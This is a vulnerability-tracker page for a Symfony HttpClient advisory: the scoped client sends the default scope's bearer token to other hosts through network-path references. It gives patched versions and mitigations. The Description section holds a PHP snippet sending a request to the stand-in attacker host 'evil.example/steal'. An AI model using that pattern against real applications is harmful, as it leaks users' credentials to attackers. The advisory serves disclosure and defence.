CVE-2026-121971 — http-client
Fix: symfony/symfony@64c34e8CVE-2026-121971 is a Information Exposure vulnerability in symfony/http-client. A fix is available for symfony/http-client — see the affected versions and patch details below.
Symfony: ScopingHttpClient Sends the Credentials of Its Default Scope to Other Origins Through Network-Path References
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-121971.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
symfony/http-client🐘symfony/http-client🐘symfony/http-client🐘symfony/http-client🐘symfony/symfony🐘symfony/symfony🐘symfony/symfony🐘symfony/symfonyReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Description
ScopingHttpClient applies the options of a scope, such as auth_bearer, auth_basic, headers or local_cert, to the URLs that match that scope only. A relative URL is resolved against the base_uri of the default scope, and the options of that scope were merged before the URL was resolved. A network-path reference such as //evil.example/steal carries its own host: it resolves to a URL outside of the base URI's origin, which no scope matches, yet it kept the merged options, so the request was sent to that host with the credentials of the default scope. The absolute spelling of the same URL, https://evil.example/steal, gets none of them.
$client = ScopingHttpClient::forBaseUri(HttpClient::create(), 'https://api.example.com/', [
'auth_bearer' => 'secret',
]);
$client->request('GET', '//evil.example/steal'); // sent to evil.example with "Authorization: Bearer secret"
This is how HttpClient::createForBaseUri() builds its client, and how the scoped clients configured with a base_uri under framework.http_client.scoped_clients are built. An application is exposed when an attacker controls the beginning of a URL passed to such a client, for example a path taken from user input or a URL taken from a remote API response. The same happened for another port or a user-info part on the same host, and when the resolved URL matched another scope, the credentials of the default scope were sent instead of that scope's own.
Resolution
After resolving a relative URL against the base URI of the default scope, ScopingHttpClient now compares the scheme and authority of the result with those of the base URI, parsed the way the request is sent. When they differ, the options of the default scope are dropped and the URL is matched against the scopes as if it had been passed in its absolute form. Relative URLs that stay on the scheme and authority of the base URI keep the options, including those that resolve outside of its path.
The user-info part counts as part of the authority: //[email protected]/ does not receive the options of the default scope anymore.
The patches for this issue are available here for branch 5.4 (and forward-ported to 6.4, 7.4, 8.1 and 8.2).
Credits
Symfony would like to thank Thomas Chauchefoin from Trail of Bits for reporting the issue and Nicolas Grekas for providing the fix.
Symfony would also like to thank Bruno Dias and Catarina Amorim from Checkmarx for their help getting a CVE assigned.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | symfony/http-client | all versions | 5.4.56composer require symfony/http-client:^5.4.56 |
| 🐘Packagist | symfony/http-client | ≥ 6.0.0&&< 6.4.50 | 6.4.50composer require symfony/http-client:^6.4.50 |
| 🐘Packagist | symfony/http-client | ≥ 7.0.0&&< 7.4.23 | 7.4.23composer require symfony/http-client:^7.4.23 |
| 🐘Packagist | symfony/http-client | ≥ 8.0.0&&< 8.1.11 | 8.1.11composer require symfony/http-client:^8.1.11 |
| 🐘Packagist | symfony/symfony | all versions | 5.4.56composer require symfony/symfony:^5.4.56 |
| 🐘Packagist | symfony/symfony | ≥ 6.0.0&&< 6.4.50 | 6.4.50composer require symfony/symfony:^6.4.50 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for symfony/http-client, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update symfony/http-client to 5.4.56 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-121971 is resolved across your whole dependency graph.
Workarounds
Assume what was exposed is already known: rotate any credential, token or key that the affected component could return, restrict the endpoint to callers that genuinely need it, and strip sensitive fields from responses and error output at the boundary rather than relying on the client not to read them.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This vulnerability is rated as Important severity because an unauthenticated remote attacker can trigger the transmission of high-value authentication credentials to arbitrary hosts without requiring special privileges. In typical Red Hat environments, Symfony HttpClient is utilized within custom PHP applications and…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability. --- CME Mitigation Guidance (2026-11-06) --- Disclaimer: The following mitigation solutions are provided as a courtesy, pending the application of an official patch. This content was generated utilizing AI tools in conjunction with data from https://cmetaxonomy.org. Customers are advised to independently evaluate and test these temporary mitigations within their own infrastructure. The highest-value action is to ensure ScopingHttpClient verifies that the…Source: Red Hat security advisory for CVE-2026-121971 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2026-121971 in your dependencies?
Find it across Packagist, including transitive dependencies.